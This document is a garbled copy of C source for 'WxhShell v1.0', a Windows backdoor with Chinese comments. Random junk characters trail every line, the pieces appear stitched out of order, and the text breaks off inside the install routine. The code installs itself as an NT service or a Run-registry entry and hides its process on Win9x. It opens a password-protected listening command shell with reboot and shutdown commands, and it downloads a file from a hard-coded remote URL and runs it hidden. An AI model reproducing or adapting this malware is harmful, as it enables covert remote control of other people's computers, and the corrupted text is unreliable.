ULONG InheritedFromUniqueProcessId; 18kWnF]n=
} PROCESS_BASIC_INFORMATION; t\2-7Ohj6
wmMn1q0F
PROCNTQSIP NtQueryInformationProcess; k^KpQ&n
j)nE!GKD(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D;48VK/Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '%+LQ"Bp
I"8Z'<|/\q
HANDLE hProcess; VWYNq^<AT
PROCESS_BASIC_INFORMATION pbi; Jp8,s%
W?N+7_%'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _TJkYz$
if(NULL == hInst ) return 0; Z,-TMtM7
:vS/Lzk
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SN7_^F
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /r&4< @
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -J'ked
|Ul 4n@+2
if (!NtQueryInformationProcess) return 0; 8t7r^[T
&liFUP?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1Qjc*+JzO.
if(!hProcess) return 0; K0@bh/i/^
:YLYCVi|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ht+wi5b
@QYCoEU8J
CloseHandle(hProcess); P3a]*> .,
z)eNM}cF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %3=T7j
if(hProcess==NULL) return 0; u^2/:L
D4@(_6^
HMODULE hMod;
Du-Q~I6
char procName[255]; ]|Ie E!6
unsigned long cbNeeded; ojJua c4
+,T}x+D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
31]Vo;D
P $r!u%W
CloseHandle(hProcess); J!Rqm!)q
LR4W
if(strstr(procName,"services")) return 1; // 以服务启动 n(n7"+B
#!m^EqF1_
return 0; // 注册表启动 *uxKI:rB:
} Y_XRf8Sw
jrm^n_6};
// 主模块 R(}!gv}s
int StartWxhshell(LPSTR lpCmdLine) ; d}n89DXj
{ Un+- T
SOCKET wsl; w8KxEV=
BOOL val=TRUE; ;?-{Uk
int port=0; E1A5<^t
struct sockaddr_in door; O|9Nl*rXz
ePSD#kY5
if(wscfg.ws_autoins) Install(); UpiZd/K
IG%x(\V-e
port=atoi(lpCmdLine); O!F"w!5@
0N6 X;M{zh
if(port<=0) port=wscfg.ws_port; wSALK)T1{
SM<qb0
WSADATA data; ;ae6h
[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kr4%D*
daf-B-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -O@/S9]S)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6hFs{P7
door.sin_family = AF_INET; "`pg+t&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); zR=g<e1xe
door.sin_port = htons(port); bDegIW/'w
~ihi!u%~}
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XNBzA3W
closesocket(wsl); #
?u
bvSdU
return 1; ?]}=4
} D{+D.4\
1P BnGQYM
if(listen(wsl,2) == INVALID_SOCKET) { ((BdT:T\_
closesocket(wsl); 4i29nq^n
return 1; IJ{VCzi
} *@YQr]~
;
Wxhshell(wsl); 6iEA._y
WSACleanup(); V%^d~^m,H
7=A @P
return 0; tg ~7^(s
)_l(WF.
} 'E\qqE[;
tK\$LZ
// 以NT服务方式启动 (+TL
]9P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wl,I %<&j}
{ 1-G-p:|
DWORD status = 0; (<|1/^~=
DWORD specificError = 0xfffffff; q}&+{dN\1
You~
6d6Om
serviceStatus.dwServiceType = SERVICE_WIN32; $K1)2WG
serviceStatus.dwCurrentState = SERVICE_START_PENDING; L$ju~0jl)%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DVBsRV)/
serviceStatus.dwWin32ExitCode = 0; NVDvd6
serviceStatus.dwServiceSpecificExitCode = 0; oTpoh]|[
serviceStatus.dwCheckPoint = 0; woU3WS0
serviceStatus.dwWaitHint = 0; r6+IJxUd
8ePzUc\#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HDhG1B"NL
if (hServiceStatusHandle==0) return; !Ome;gS)
y8|}bd<Sr
status = GetLastError(); iz`ys.Fu
if (status!=NO_ERROR) Lo9
\[4FP
{ j2 #B l
serviceStatus.dwCurrentState = SERVICE_STOPPED; bWB&8&p
serviceStatus.dwCheckPoint = 0; 49B6|!&I
serviceStatus.dwWaitHint = 0; FJB
/tg
serviceStatus.dwWin32ExitCode = status; !j0iLYo(*
serviceStatus.dwServiceSpecificExitCode = specificError; {6wy}<ynC+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9:Z|Z?>?
return; aS+i`A :a
} *jy"g64j
j)jt&Gg'
serviceStatus.dwCurrentState = SERVICE_RUNNING; x=Ez hq]X
serviceStatus.dwCheckPoint = 0; K$
|!IXs
serviceStatus.dwWaitHint = 0; ~A>-tn}O
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >DR/lBtL
} 3^F1 hCB
PO0/C q)
// 处理NT服务事件,比如:启动、停止 d 4;
VOID WINAPI NTServiceHandler(DWORD fdwControl) .@Jos^rxgJ
{ R)GDsgXy
switch(fdwControl) `$r?^|T
{ ,Q8h#0z r
case SERVICE_CONTROL_STOP: /^[K
serviceStatus.dwWin32ExitCode = 0; fR lJ`\ t
serviceStatus.dwCurrentState = SERVICE_STOPPED; i,$n4
serviceStatus.dwCheckPoint = 0; /oU$TaB>(
serviceStatus.dwWaitHint = 0; *zDL5
9
{ JjQTD-^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M`@Es#s
} '\LU 8VC
return; C2K<CDVw
case SERVICE_CONTROL_PAUSE: 3;EBKGg|
serviceStatus.dwCurrentState = SERVICE_PAUSED; ?)"v~vs
break; n,|YJ,v[
case SERVICE_CONTROL_CONTINUE: bY=Yb
serviceStatus.dwCurrentState = SERVICE_RUNNING; z-h7v5i"
break;
yc@:*Z
case SERVICE_CONTROL_INTERROGATE: bKPjxN?!9
break; #r80FVwiD
}; 4_vJ_H-mO,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g_MxG!+(V
} 2}#VB;B
-"n8Wv
// 标准应用程序主函数 >
,P,{"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f.U.(
{ izr
3{y5
X#u< 3<P
// 获取操作系统版本 2H`;?#Uq:
OsIsNt=GetOsVer(); vb k4
GetModuleFileName(NULL,ExeFile,MAX_PATH); iSj.lW
a(+u"Kr
z
// 从命令行安装 i8(n(
if(strpbrk(lpCmdLine,"iI")) Install(); IS }U2d,W
O:[@?l
// 下载执行文件 #4?:4Im#
if(wscfg.ws_downexe) { U{-[lpd
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c}#(,<8X
WinExec(wscfg.ws_filenam,SW_HIDE); ny+_&l^R~(
} q3Y49d
_1HEGX\
if(!OsIsNt) { uGS^*W$
// 如果时win9x,隐藏进程并且设置为注册表启动 >qynd'eToR
HideProc(); ' ui`EL %
StartWxhshell(lpCmdLine); &ETPYf%#
} v1Jg8L=
else SCD;(I~4
if(StartFromService()) %J|xPp)
// 以服务方式启动 5?gZw;yiv%
StartServiceCtrlDispatcher(DispatchTable); ~2?UEv6
else &Zm1(k6&K
// 普通方式启动 /)xQ# yfX
StartWxhshell(lpCmdLine); 'lR f
0XrOOYmx
return 0; ))#_@CwRr
} [wjH;f>SQ
*",
BP]]
>U')ICD~
H6-{(:
*<
=========================================== #h7$b@
'd|E>8fejG
<=!|U0YV
?nx
1{2[
Q02:qn?T
PhC{Gg
" ~dj4Q
eu
08E ,U
#include <stdio.h> 5%(xZ
6
#include <string.h> B?<Z(d7
#include <windows.h> h5m6 )0"
#include <winsock2.h> 3ocRq
%%K
#include <winsvc.h> +N!!Z2
#include <urlmon.h>
5v-o2
O7tL,)Vv
#pragma comment (lib, "Ws2_32.lib") Nx4X1j?-n
#pragma comment (lib, "urlmon.lib") }WG -R
z`rW2UO#a`
#define MAX_USER 100 // 最大客户端连接数 Pr^p
^s
#define BUF_SOCK 200 // sock buffer v_ W03\
#define KEY_BUFF 255 // 输入 buffer } =^Al;W
{:d9q
#define REBOOT 0 // 重启 o[CjRQY]P
#define SHUTDOWN 1 // 关机 I~I$/j]e`
O\qY?)
#define DEF_PORT 5000 // 监听端口 wKs-<b%;
yzmwNsu
#define REG_LEN 16 // 注册表键长度 wPU<jAQyp
#define SVC_LEN 80 // NT服务名长度 <S%kwS
-)ag9{ *
// 从dll定义API H>2f M^
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7Ke#sW.HN
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ty>g:#bogI
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V{G9E
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lEv<n6:_
wC[Bh^]
// wxhshell配置信息 hFWK^]~ a
struct WSCFG { Lg4I6 G
int ws_port; // 监听端口 BHBMMjY5
char ws_passstr[REG_LEN]; // 口令 *]_GFixi
int ws_autoins; // 安装标记, 1=yes 0=no k@= LR
char ws_regname[REG_LEN]; // 注册表键名 P(BV J_n
char ws_svcname[REG_LEN]; // 服务名 Z<0+<tt
char ws_svcdisp[SVC_LEN]; // 服务显示名 M.R]hI
char ws_svcdesc[SVC_LEN]; // 服务描述信息 N%&D(_
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )CC rO
int ws_downexe; // 下载执行标记, 1=yes 0=no V2?&3Z)W
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vVi))%&S(
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~_Mz05J-\_
:-kXZe
}; IW'2+EGc
f@a@R$y
// default Wxhshell configuration R9z^=QKcH
struct WSCFG wscfg={DEF_PORT, )vFZl]
"xuhuanlingzhe", (e;9,~u)
1, P>t[35/1
"Wxhshell", U)N_/
"Wxhshell", 6|D,`dk3U
"WxhShell Service", VX;tglu2
"Wrsky Windows CmdShell Service", s GP}>w-JZ
"Please Input Your Password: ", ?I`ru:iG
1, B:\TvWbu
"http://www.wrsky.com/wxhshell.exe", z3[0BWXs
"Wxhshell.exe" !*gTC1bvB
}; 8HLcDS#
xBC:%kG~#
// 消息定义模块 8\^[@9g3\3
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 97um7n
char *msg_ws_prompt="\n\r? for help\n\r#>"; o=
%Fh
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y Hv85y
char *msg_ws_ext="\n\rExit."; q(yw,]h]{
char *msg_ws_end="\n\rQuit."; RZ[r XV5
char *msg_ws_boot="\n\rReboot..."; #?z1cgCg
char *msg_ws_poff="\n\rShutdown..."; &n:F])`2
char *msg_ws_down="\n\rSave to "; $v6dB {%Qu
Xx0}KJq~"
char *msg_ws_err="\n\rErr!"; -vfV;+3
char *msg_ws_ok="\n\rOK!"; {-]/r
;mLbJT
char ExeFile[MAX_PATH]; "=W7=V8w
int nUser = 0; 9J?G"JV?
HANDLE handles[MAX_USER]; RkJ\?
int OsIsNt; F=hfbCF5x
o"x&F
SERVICE_STATUS serviceStatus;
U!-|.N,
SERVICE_STATUS_HANDLE hServiceStatusHandle; ?~aM<rcZ
Dc[Qu?]LM
// 函数声明 R?Q@)POW
int Install(void); WbS2w @8
int Uninstall(void); <bf^'$l
int DownloadFile(char *sURL, SOCKET wsh); ud`.}H~aB
int Boot(int flag); %Ya-;&;`
void HideProc(void); t$=0 C
int GetOsVer(void); Nky%v+r
int Wxhshell(SOCKET wsl); 5}R/C{fs
void TalkWithClient(void *cs); `oh'rm3'8
int CmdShell(SOCKET sock); -NVk>ENL4
int StartFromService(void); T!hU37g h?
int StartWxhshell(LPSTR lpCmdLine); 2f]9I1{
2I'\o7Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ujcNSX*
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *4^!e/
6!i0ioZzi0
// 数据结构和表定义 %xR;8IO
SERVICE_TABLE_ENTRY DispatchTable[] = 3Lq?Y7#KQp
{ =ot`V; Q>
{wscfg.ws_svcname, NTServiceMain}, [pmZ0/l
{NULL, NULL} P,O9On
}; KW.S)+<H&
s&lZxnIjc
// 自我安装 P$@5&/]
int Install(void) UG+wRX :dA
{ mV;Egm{A\
char svExeFile[MAX_PATH]; 4kA/W0 VG
HKEY key; `ge{KB;*n#
strcpy(svExeFile,ExeFile); r! 5C3
CD^_>sya
// 如果是win9x系统,修改注册表设为自启动 _SC>EP8:Z
if(!OsIsNt) { R$*{@U
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WZCX&ui